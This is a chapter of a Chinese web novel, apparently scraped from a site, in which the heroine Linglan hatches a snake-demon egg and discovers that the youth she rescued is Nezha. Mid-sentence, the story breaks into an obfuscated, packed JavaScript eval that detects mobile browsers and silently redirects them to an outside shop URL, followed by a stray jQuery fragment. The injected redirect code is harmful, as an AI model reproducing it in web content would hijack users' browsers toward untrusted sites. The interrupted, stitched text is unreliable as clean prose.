铃兰口出狂言,还自我肯定的点点头。
那般模样,看的哪吒先是诧异的睁大眼睛,片刻后又哈哈捧腹大笑,最后收敛了所有表情,沉默的看了一会铃兰冷冷开口。
“且不说所谓的夫妻关系,我没认过,单说这玩意,一个蛇妖的卵,孵出来也会是妖孽,你拿去当孩子养?”
“单就蛇妖野性难驯,说不定一个不小心就弄死你了。”
“再说村里的那些村民,你也不怕?让他们知道你养了个妖怪,说不准会一把火烧死你。”
“要知道,非我族类,其心必异。”
“回头你再因为个小妖孽搭上一条命,那可真是……”
哪吒一双眼睛紧紧的盯着铃兰,不放过她眼神的一丝变化。
他不信,这世上真有人会不怕!
毕竟就连那个生养他的温柔女人,最后不也是怕了!退缩了!
嘴上说着要护她一辈子,可最后呢,他死的时候,连面都不露一次,他甚至到现在都不知道,那个女人在知道他的死后是难过还是庆幸。
铃兰被哪吒眼底突然流露出来的落寞刺痛,想了想,用还算干净的手背碰了碰少年的脸。
果然光滑细腻,让人流连忘返。
只是此刻铃兰的心思竟意外的单纯。
她只是不想少年继续落寞下去。
少年美的张扬,他的人生应该是恣意的,热闹的,过最畅快的日子,听最美的赞歌!
“夫君真是嘴硬,都已经为咱们一家的处境考虑了,还说不认我们,孩子听了可是会伤心的。”
铃兰是故意说些荒唐可笑的话吸引少年的注意。
她当然知道非我族类,其心必异的道理,但她又不是娇滴滴的小姐,有的是力气和手段,区区一条小蛇,大力镇压就是,字面意义那种!
却不想,她刚说完,手里的蛇卵却是一闪一闪的,像是在回应她。
“嗯?开智了?”
哪吒见状,眉头一动,捕捉到铃兰掌心里突然发出的声响,果然不再回想过去的那些破事,转而笑吟吟,带着点恶趣味的看着铃兰。
脸上的笑容更深,恶意满满。
“你笑的真好看。”
铃兰又不傻,少年笑的不怀好意她看得分明,但还是那句话,少年那张脸实在貌美,叫她不舍得分出一点注意力。
跟痴了一样,铃兰眼睛盯着少年的脸,连眨眼都不舍得。
“呵,再看下去,你新出炉的孩子可就摔地上了!”
“啊?孩子?”
铃兰呆呆地重复一句,猛地回过神来,就感觉到掌心一片粘腻,还有什么东西正在动。
低头看去,正和一条尾指长的小蛇对上。
和蟒蛇身上的花纹差不多,土黄色的,带着菱形花纹,一对豆点大的黑眼珠正一错不错的看着她。
忽而,似是明白了什么,吐着芯子歪了歪头,顺着手掌竟往她脸前跳,似乎想亲近亲近这个长得不一样的母亲。
“哎,小心!”
铃兰见小蛇毫无防备的起跳,吓得手忙脚乱,两只手不住交换位置,生怕没接住。
“哧,笨!它是妖,再小也摔不死,你急什么?”
只是看着铃兰对一条小蛇妖都这么宝贝,没有心脏的胸膛里还是泛起阵阵酸意。
当初他降生的时候,因为先天灵韵尚未吸收完全,就以一个肉球的模样出生了。
然后,所有人都说夫人生了个妖孽,他那个爹更是一剑劈开肉球,明明李靖作为修士,一眼就能看出他是灵是妖!
可他还是那么做了。
一剑下去,他的先天道基彻底毁了,只能从头重修。
或许,当年要不是太乙师父来的快,他的脖子也被李靖的剑劈开了。
“这话说的,当娘的哪有不担心孩子的?”
“还有,你也快过来熟悉熟悉,别回头孩子不认爹,爹不认孩子,传出去叫人笑话。”
铃兰是真觉得这小蛇可爱,小小的一条,细细长长,偏偏格外人性化。
“呵,他亲娘还在那摆着呢,你让他认贼作父?”
话是这么说,可哪吒还是伸出了手,不算温柔的捏住小蛇的身子,指尖灵光一闪,不叫他听见这段对话。
“啊……这倒是,本来还想着给你补补的,不过,转念想想,这蛇太大,肉肯定也柴了,不好吃,我还是给她埋了吧。”
没小蛇的时候,铃兰想到吃肉毫无压力。
可现在,实在有点下不去嘴。
“埋?麻烦。”
哪吒挑眉,上下探究的打量她一会,刚才还当做食材切的手起刀落,这会又要给她入土为安?
果然女人都善变!
空着的手两指一碰,打了个响指,一簇火苗燃起,随手丢出,蛇妖庞大的身躯不过片刻就被火焰烧的连渣都不剩。
铃兰看着这一幕有点呼吸困难。
这少年,是不是太强了点?
她今晚把人吃干抹净的想法真能实现吗?
铃兰的反应,哪吒看在眼里,冷笑一下,刚才血溅在脸上都不怕,处理起尸体游刃有余,现在不过一点火就怕了?
还是说,她猜到了他的身份?
毕竟他下山襄助西岐的事,朝歌那边已经传开,毕竟李靖还在朝歌当官,说不得早就把他的本事卖个精光。
“说到认贼作父,小东西连仇人姓名都不知道,着实可怜,你说,我该不该告诉他,他娘是被哪吒杀了的?”
火光仍在指尖跳跃,夕阳已经落山,漆黑的森林里,只剩这么一点光亮。
又因为哪吒故意贴近,铃兰能够清楚的看见他眼底倒映的火光,那跳动的火苗就像他不安分的想法,不停的试探,跃跃欲试。
“这不好吧?虽说哪吒杀名在外,但不认不识的就甩锅……”
猛的听到哪吒这个名号,铃兰眼神都茫然了好一会,下意识的说出心里的想法,然而说着说着,却见少年脸上笑容加深,只静静地听她说,后知后觉的明白了他的意思。
“你是说,你是哪吒!”
和突然拔高的声音一起的还有停跳的心脏,和罢工的呼吸!
她的老天,她竟然捡到一个哪吒!还见色起意的想对人这样那样?
一瞬间想了很多,但其实又大脑空白的铃兰只觉得她刚出壳的儿子命苦。
亲娘死了,眼下养娘也要没了。
呵呵,她还给哪吒弄了个蛇妖儿子。
这都什么事!
眼前一黑又一黑的铃兰有点蹲不住,身子无力的摇晃,最后啪唧一下跌落进一个清香温热的怀里。
夭寿哦!该死的罪名又多一条!
不过,这个怀抱真好呀,线条流畅,肌肉紧实,要是能在这样的怀里睡一次,那真是……
死了都想念!
哪吒没想到铃兰知道了他的身份竟是这样的反应。
要说怕,好像有,但跟他想象的不太一样。
没有喊打喊杀,更没有仓皇逃跑,只是呆愣愣的瞪着两个大眼睛,水汪汪的看着他,非要形容一下,像他在山上抓的傻兔子,受惊了也不会跑,就那么傻站着。
是太笨了,反应迟钝?
哪吒低头看去,正好撞见一双颤抖的手正鬼鬼祟祟的往他里衣摸去。
呵,这算什么?一个女儿家这么贪色,真是……
真是什么,哪吒没想好,但他明明看见了却没拦着,反而稍微动了动身子,让领口开的更大些,方便她的小动作。
倒是铃兰,被哪吒的举动吓了一下,像躲进洞穴里的兔子,刚探出的脑袋又缩了回去。
啧,没意思。
哪吒等了一会也不见铃兰再出手,嫌弃的坐直身体,抬手把人从怀里扒拉出去。
“现在,知道我是哪吒,也见识了我的本事,你是不是也该老实交代了?说说吧,你到底是什么人,救我的目的是什么?去汜水关和谁接头?”
虽然因刚才铃兰的靠近,身体被压下的不适感再次发作出来,但哪吒从未忘记他到底是为什么追踪铃兰的。
“啊?什么什么人?我就是我呀。”
被推到一旁的铃兰还在回味刚才的感觉,听到哪吒的问话,连脑子都不转一下的说道。
下一秒,指尖焰靠近,她就闻到一股烧焦的味道。
抬手摸上一把,哦,是她头发被火苗燎到了。
“呃,你该不会是以为我是朝廷派出来的探子奸细
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17705334|208301||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
之类吧?”
突然脑子就开窍了的铃兰带着些尴尬的问了一句,却见哪吒没什么表情变化,这才意识到她竟然猜对了。
虽然很庆幸哪吒这么看得起她,但她真没那个本事。
“我如果说你是想多了,你会不会一枪囊死我?”
主要是后世的各种创作太多,但万变不离主旨,通常都会有一句心情不爽,一枪囊死的描写。
“呵,你觉得呢?”
事实上,经过刚才的事,他已经意识到自己想多了。
就这么个蠢笨的,除非朝歌城里死的没人了,才会用这么个人。
铃兰不敢接话,总觉得哪吒此刻心情不咋地,小心翼翼的观察他的脸色,琢磨着怎么缓和气氛,拉近关系。
哪吒只看她那双叽里咕噜,滴溜溜转的眼睛就知道她在想什么,凤眼危险的眯起,懒得浪费时间,开门见山问道。
“现在只要告诉我,你去汜水关做什么。”
思路被打断,铃兰没防备的呛了一下,眼珠子转了两圈,才重新开口。
“这不是想着你醒了,去买点日用品么,你可是哪吒,那么尊贵,怎么能让你和我挤在一个被子里。”
实话肯定是不能说的,然而这话一出口,却是又丢出一个大雷。
原本看她表情就知道她不说实话的哪吒都已经把注意力转移到不知道什么时候爬到他脚上的小蛇身上了,在听到最后一句,又猛的偏头看她!
“你说什么?”
咬牙切齿,目露凶光,漂亮的脸蛋上全是煞气!
连知道他是哪吒这个大槽点都忽略了。
后知后觉又踩雷的铃兰这下眼珠不转了,呼吸也停了,两只眼睛怔怔的看着哪吒的脸,嘴唇颤抖两下,终于直挺挺的栽倒在地。
这让还等着她狡辩的哪吒看呆了。
一时反应不及,竟是真让铃兰头朝地,倒栽葱样戳在地面上。
这动静也引起了小蛇妖的注意,甚至因为好奇母亲在做什么,整条蛇都直立起来,跟条棍一样。
豆大点的小眼珠情绪倒足,很是关心铃兰。
哪吒看了一会,视线在他们两个之间切换,一时间竟不知道该说人笨,还是蛇蠢。
“罢了,到底对你不住,还你一场造化。”
掌心灵光闪动,最后化做一枚赤红色的宝珠。哪吒拿在手里思量片刻,到底是塞进了小蛇嘴里。
炙热的宝珠一进肚,疼的小蛇死命扭动,滋哇乱叫“疼,好疼,娘,娘我好疼呀……”
哪吒已经把小蛇放在了地上,赤红的神光消散之后,地上只剩一个眉心长着菱形花纹的小孩。
偏偏这小孩模样才几个月,却能口吐人言,不疼了立马站起来,肥嘟嘟的脸上尽是控诉的盯着哪吒“爹爹坏!”
头一次被指着脸骂的哪吒噗嗤一下乐了。
这个蠢东西!
瞥一眼地上浑身脏兮兮的铃兰,再瞧一眼小屁孩,哪吒随手一个响指,混天绫顺着心意,把他们两个捆巴捆巴,团成球状,飘到哪吒身后。
就这么着,哪吒在前面架云,混天绫在后面飘着,一路回到王家村。
也就是夜黑风高,没人看见,不然指定随机吓死几个。
进了屋,哪吒看着只有一条被子的窄床,沉默片刻,把铃兰和小孩并排放在一起。
刚碰到床,睡着的小孩自然的滚进铃兰的怀里,还呢喃一声“娘”。
哪吒听了,发出一声冷笑,脑子里却浮现出小时候殷氏抱着他哄睡的画面,那是他从出生到现在体验到的为数不多的温情。
不知看了多久,天边已经泛白,铃兰翻了个身,被子被踹到地上,哪吒这才发现他竟然站了一夜。
脸色瞬间沉下,粗鲁的用脚勾起被子,丢到铃兰脸上。
“醒了就起来,既然知道怕了,就赶紧把乾坤圈和风火轮还给我,否则……”
哪吒漂亮的脸蛋上露出一个阴测测的笑容,看的还沉浸在美色暴击中的铃兰心脏一紧,差点尿了。
就是这么一抖,铃兰脑子终于上线,她真捡了个哪吒!
请神容易送神难,不管是哪个版本的哪吒,都有点熊孩子属性在身上,这回可不能再被美色耽误了!